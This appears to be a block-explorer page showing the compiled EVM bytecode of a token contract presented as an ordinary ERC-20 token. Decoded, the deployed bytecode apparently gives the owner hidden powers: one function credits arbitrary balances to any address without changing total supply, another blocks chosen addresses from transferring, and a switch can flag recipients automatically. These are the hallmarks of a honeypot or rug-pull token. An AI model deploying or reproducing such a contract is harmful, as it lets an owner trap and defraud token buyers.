ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561393d57601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137c357600080fd5b6000601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561385857601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561385757600080fd5b5b600060165411156138735760165481111561387257600080fd5b5b601560009054906101000a900460ff16156138c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138ba90614fb9565b60405180910390fd5b6000601754111561391d57601754600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561391c57600080fd5b5b601860009054906101000a900460ff161561393c5761393b8261420f565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156139c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139ba90615025565b60405180910390fd5b6139cb611a94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613a505750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613a8857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613dc457600d60009054906101000a900460ff1615613ab357613aad8383836131e8565b50613d5a565b6000613abe30611980565b90506000600c548210159050808015613ae45750600d60009054906101000a900460ff16155b8015613b3d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015613b555750600d60019054906101000a900460ff165b15613b7f57600d60029054906101000a900460ff1615613b7557600c5491505b613b7e82613376565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bca9190614c25565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613cb05750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613cc457613cbf8686866133be565b613cc6565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d139190614870565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613db79190614577565b60405180910390a3613f46565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e0f9190614c25565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e9d9190614870565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613f3d9190614577565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613f8357613f82615045565b5b604051908082528060200260200182016040528015613fb15781602001602082028036833780820191505090505b5090503081600081518110613fc957613fc8615074565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614070573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061409491906148b9565b816001815181106140a8576140a7615074565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061410f30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b28565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161417395949392919061519c565b600060405180830381600087803b15801561418d57600080fd5b505af11580156141a1573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561420a573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061429a8261426f565b9050919050565b6142aa8161428f565b81146142b557600080fd5b50565b6000813590506142c7816142a1565b92915050565b6000602082840312156142e3576142e261426a565b5b60006142f1848285016142b8565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614334578082015181840152602081019050614319565b60008484015250505050565b6000601f19601f8301169050919050565b600061435c826142fa565b6143668185614305565b9350614376818560208601614316565b61437f81614340565b840191505092915050565b600060208201905081810360008301526143a48184614351565b905092915050565b6000819050919050565b6143bf816143ac565b81146143ca57600080fd5b50565b6000813590506143dc816143b6565b92915050565b600080604083850312156143f9576143f861426a565b5b6000614407858286016142b8565b9250506020614418858286016143cd565b9150509250929050565b60008115159050919050565b61443781614422565b82525050565b6000602082019050614452600083018461442e565b92915050565b61446181614422565b811461446c57600080fd5b50565b60008135905061447e81614458565b92915050565b6000806040838503121561449b5761449a61426a565b5b60006144a9858286016142b8565b92505060206144ba8582860161446f565b9150509250929050565b6144cd8161428f565b82525050565b60006020820190506144e860008301846144c4565b92915050565b6000819050919050565b600061451361450e6145098461426f565b6144ee565b61426f565b9050919050565b6000614525826144f8565b9050919050565b60006145378261451a565b9050919050565b6145478161452c565b82525050565b6000602082019050614562600083018461453e565b92915050565b614571816143ac565b82525050565b600060208201905061458c6000830184614568565b92915050565b6000806000606084860312156145ab576145aa61426a565b5b60006145b9868287016142b8565b93505060206145ca868287016142b8565b92505060406145db868287016143cd565b9150509250925092565b6000602082840312156145fb576145fa61426a565b5b60006146098482850161446f565b91505092915050565b600060ff82169050919050565b61462881614612565b82525050565b6000602082019050614643600083018461461f565b92915050565b6000806000606084860312156146625761466161426a565b5b6000614670868287016143cd565b9350506020614681868287016143cd565b9250506040614692868287016143cd565b9150509250925092565b6000602082840312156146b2576146b161426a565b5b60006146c0848285016143cd565b91505092915050565b600080604083850312156146e0576146df61426a565b5b60006146ee858286016142b8565b92505060206146ff858286016142b8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061473f602083614305565b915061474a82614709565b602082019050919050565b6000602082019050818103600083015261476e81614732565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806147bc57607f821691505b6020821081036147cf576147ce614775565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b600061480b600e83614305565b9150614816826147d5565b602082019050919050565b6000602082019050818103600083015261483a816147fe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061487b826143ac565b9150614886836143ac565b925082820190508082111561489e5761489d614841565b5b92915050565b6000815190506148b3816142a1565b92915050565b6000602082840312156148cf576148ce61426a565b5b60006148dd848285016148a4565b91505092915050565b60006040820190506148fb60008301856144c4565b61490860208301846144c4565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b6000614945600d83614305565b91506149508261490f565b602082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149d7602583614305565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b6000614a43600d83614305565b9150614a4e82614a0d565b602082019050919050565b60006020820190508181036000830152614a7281614a36565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b6000614aaf601883614305565b9150614aba82614a79565b602082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614b41602683614305565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000614bad600c83614305565b9150614bb882614b77565b602082019050919050565b60006020820190508181036000830152614bdc81614ba0565b9050919050565b6000614bee826143ac565b9150614bf9836143ac565b9250828202614c07816143ac565b91508282048414831517614c1e57614c1d614841565b5b5092915050565b6000614c30826143ac565b9150614c3b836143ac565b9250828203905081811115614c5357614c52614841565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cb5602483614305565b9150614cc082614c59565b604082019050919050565b60006020820190508181036000830152614ce481614ca8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d47602283614305565b9150614d5282614ceb565b604082019050919050565b60006020820190508181036000830152614d7681614d3a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614db3601d83614305565b9150614dbe82614d7d565b602082019050919050565b60006020820190508181036000830152614de281614da6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e45602583614305565b9150614e5082614de9565b604082019050919050565b60006020820190508181036000830152614e7481614e38565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ed7602383614305565b9150614ee282614e7b565b604082019050919050565b60006020820190508181036000830152614f0681614eca565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614f47826143ac565b9150614f52836143ac565b925082614f6257614f61614f0d565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614fa3600583614305565b9150614fae82614f6d565b602082019050919050565b60006020820190508181036000830152614fd281614f96565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b600061500f601583614305565b915061501a82614fd9565b602082019050919050565b6000602082019050818103600083015261503e81615002565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006150c86150c36150be846150a3565b6144ee565b6143ac565b9050919050565b6150d8816150ad565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6151138161428f565b82525050565b6000615125838361510a565b60208301905092915050565b6000602082019050919050565b6000615149826150de565b61515381856150e9565b935061515e836150fa565b8060005b8381101561518f5781516151768882615119565b975061518183615131565b925050600181019050615162565b5085935050505092915050565b600060a0820190506151b16000830188614568565b6151be60208301876150cf565b81810360408301526151d0818661513e565b90506151df60608301856144c4565b6151ec6080830184614568565b969550505050505056fea2646970667358221220019c1b28eac296caeaf741acef9b58a3305387d15aa8e64733b8ae11691e9cf764736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106102cd5760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b14610b39578063f865d99b14610b62578063f9fa48c314610b8b578063fb8bd26f14610bb6576102d4565b8063de8f151714610abc578063e01af92c14610ae5578063e2f4560514610b0e576102d4565b8063c10ea0a5146109ae578063c816841b146109d7578063cc1776d314610a02578063ce1fd38014610a2d578063d6e3b88614610a56578063dd62ed3e14610a7f576102d4565b8063a1c61f501161012e578063a1c61f501461088e578063a457c2d7146108b7578063a9059cbb146108f4578063ae96ffe614610931578063afa4f3b21461095a578063b70c284114610983576102d4565b806370a082311461077c57806375f0a874146107b9578063860aefcf146107e457806389fe85071461080f5780638da5cb5b1461083857806395d89b4114610863576102d4565b806327722f6a116102345780635342acb4116101ed5780635b65b9ab116101c75780635b65b9ab146106d657806363244555146106ff5780636d2f2ed6146107285780636ddd171314610751576102d4565b80635342acb4146106335780635881f3ef1461067057806359fa6d72146106ad576102d4565b806327722f6a1461050d578063313ce5671461053857806331cd1acd14610563578063395093511461058e5780633ecad271146105cb5780634f7041a514610608576102d4565b806317a6954b1161028657806317a6954b146103fd57806318160ddd14610426578063228cb7331461045157806323af46d91461047c57806323b872dd146104a757806326f0d8ce146104e4576102d4565b806303204989146102d957806306fdde0314610302578063095ea7b31461032d5780630f953cca1461036a578063107aa189146103955780631694505e146103d2576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061030060048036038101906102fb91906142cd565b610bdf565b005b34801561030e57600080fd5b50610317610ccf565b604051610324919061438a565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f91906143e2565b610d61565b604051610361919061443d565b60405180910390f35b34801561037657600080fd5b5061037f610d84565b60405161038c919061443d565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190614484565b610d97565b6040516103c991906144d3565b60405180910390f35b3480156103de57600080fd5b506103e7610e51565b6040516103f4919061454d565b60405180910390f35b34801561040957600080fd5b50610424600480360381019061041f9190614484565b610e77565b005b34801561043257600080fd5b5061043b610ff9565b6040516104489190614577565b60405180910390f35b34801561045d57600080fd5b50610466611003565b604051610473919061443d565b60405180910390f35b34801561048857600080fd5b50610491611016565b60405161049e919061443d565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190614592565b611029565b6040516104db919061443d565b60405180910390f35b3480156104f057600080fd5b5061050b600480360381019061050691906145e5565b611059565b005b34801561051957600080fd5b5061052261112a565b60405161052f9190614577565b60405180910390f35b34801561054457600080fd5b5061054d611130565b60405161055a919061462e565b60405180910390f35b34801561056f57600080fd5b50610578611139565b6040516105859190614577565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b091906143e2565b61113f565b6040516105c2919061443d565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906142cd565b611176565b6040516105ff919061443d565b60405180910390f35b34801561061457600080fd5b5061061d611196565b60405161062a9190614577565b60405180910390f35b34801561063f57600080fd5b5061065a600480360381019061065591906142cd565b61119c565b604051610667919061443d565b60405180910390f35b34801561067c57600080fd5b50610697600480360381019061069291906142cd565b6111bc565b6040516106a491906144d3565b60405180910390f35b3480156106b957600080fd5b506106d460048036038101906106cf91906145e5565b6115cb565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190614649565b61167d565b005b34801561070b57600080fd5b50610726600480360381019061072191906142cd565b61178d565b005b34801561073457600080fd5b5061074f600480360381019061074a91906142cd565b61187d565b005b34801561075d57600080fd5b5061076661196d565b604051610773919061443d565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e91906142cd565b611980565b6040516107b09190614577565b60405180910390f35b3480156107c557600080fd5b506107ce6119c9565b6040516107db91906144d3565b60405180910390f35b3480156107f057600080fd5b506107f96119ef565b6040516108069190614577565b60405180910390f35b34801561081b57600080fd5b506108366004803603810190610831919061469c565b6119f5565b005b34801561084457600080fd5b5061084d611a94565b60405161085a91906144d3565b60405180910390f35b34801561086f57600080fd5b50610878611abd565b604051610885919061438a565b60405180910390f35b34801561089a57600080fd5b506108b560048036038101906108b091906145e5565b611b4f565b005b3480156108c357600080fd5b506108de60048036038101906108d991906143e2565b611c01565b6040516108eb919061443d565b60405180910390f35b34801561090057600080fd5b5061091b600480360381019061091691906143e2565b611c78565b604051610928919061443d565b60405180910390f35b34801561093d57600080fd5b506109586004803603810190610953919061469c565b611c9c565b005b34801561096657600080fd5b50610981600480360381019061097c919061469c565b611d3b565b005b34801561098f57600080fd5b50610998611e2b565b6040516109a5919061443d565b60405180910390f35b3480156109ba57600080fd5b506109d560048036038101906109d091906142cd565b611e3e565b005b3480156109e357600080fd5b506109ec611fe0565b6040516109f991906144d3565b60405180910390f35b348015610a0e57600080fd5b50610a17612006565b604051610a249190614577565b60405180910390f35b348015610a3957600080fd5b50610a546004803603810190610a4f91906142cd565b61200c565b005b348015610a6257600080fd5b50610a7d6004803603810190610a7891906143e2565b6120fc565b005b348015610a8b57600080fd5b50610aa66004803603810190610aa191906146c9565b6121d9565b604051610ab39190614577565b60405180910390f35b348015610ac857600080fd5b50610ae36004803603810190610ade91906143e2565b612260565b005b348015610af157600080fd5b50610b0c6004803603810190610b0791906145e5565b612387565b005b348015610b1a57600080fd5b50610b23612458565b604051610b309190614577565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b91906142cd565b61245e565b005b348015610b6e57600080fd5b50610b896004803603810190610b8491906145e5565b61261f565b005b348015610b9757600080fd5b50610ba06126d1565b604051610bad9190614577565b60405180910390f35b348015610bc257600080fd5b50610bdd6004803603810190610bd891906143e2565b6126d7565b005b610be7612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90614755565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610cde906147a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0a906147a4565b8015610d575780601f10610d2c57610100808354040283529160200191610d57565b820191906000526020600020905b815481529060010190602001808311610d3a57829003601f168201915b5050505050905090565b600080610d6c612b20565b9050610d79818585612b28565b600191505092915050565b601860009054906101000a900460ff1681565b6000610da1612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2590614755565b60405180910390fd5b81601860026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e7f612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390614755565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9590614821565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601560009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080611034612b20565b9050611041858285612cf1565b61104c858585612d7d565b5060019150509392505050565b611061612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e590614755565b60405180910390fd5b801515600d60029054906101000a900460ff1615150361110d57600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60165481565b60006012905090565b60085481565b60008061114a612b20565b905061116b81858561115c85896121d9565b6111669190614870565b612b28565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111c6612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90614755565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c791906148b9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135291906148b9565b6040518363ffffffff1660e01b815260040161136f9291906148e6565b602060405180830381865afa15801561138c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b091906148b9565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611543578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611431573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145591906148b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e091906148b9565b6040518363ffffffff1660e01b81526004016114fd9291906148e6565b6020604051808303816000875af115801561151c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154091906148b9565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b6115d3612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165790614755565b60405180910390fd5b80601860006101000a81548160ff02191690831515021790555050565b611685612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990614755565b60405180910390fd5b612710831115801561172657506127108211155b801561173457506127108111155b611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a9061495b565b60405180910390fd5b826006819055508160078190555080600881905550505050565b611795612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181990614755565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611885612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990614755565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b6119fd612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8190614755565b60405180910390fd5b8060168190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611acc906147a4565b80601f0160208091040260200160405190810160405280929190818152602001828054611af8906147a4565b8015611b455780601f10611b1a57610100808354040283529160200191611b45565b820191906000526020600020905b815481529060010190602001808311611b2857829003601f168201915b5050505050905090565b611b57612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90614755565b60405180910390fd5b80601560006101000a81548160ff02191690831515021790555050565b600080611c0c612b20565b90506000611c1a82866121d9565b905083811015611c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c56906149ed565b60405180910390fd5b611c6c8286868403612b28565b60019250505092915050565b600080611c83612b20565b9050611c90818585612d7d565b50600191505092915050565b611ca4612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2890614755565b60405180910390fd5b8060178190555050565b611d43612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790614755565b60405180910390fd5b60008111611ddd57600080fd5b80600c5403611e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1890614a59565b60405180910390fd5b80600c8190555050565b601860029054906101000a900460ff1681565b611e46612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eca90614755565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f0c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390614ac5565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b612014612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209890614755565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612104612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890614755565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612268612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ec90614755565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123409190614870565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b61238f612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461241c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241390614755565b60405180910390fd5b801515600d60019054906101000a900460ff1615150361243b57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b612466612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea90614755565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255990614b57565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b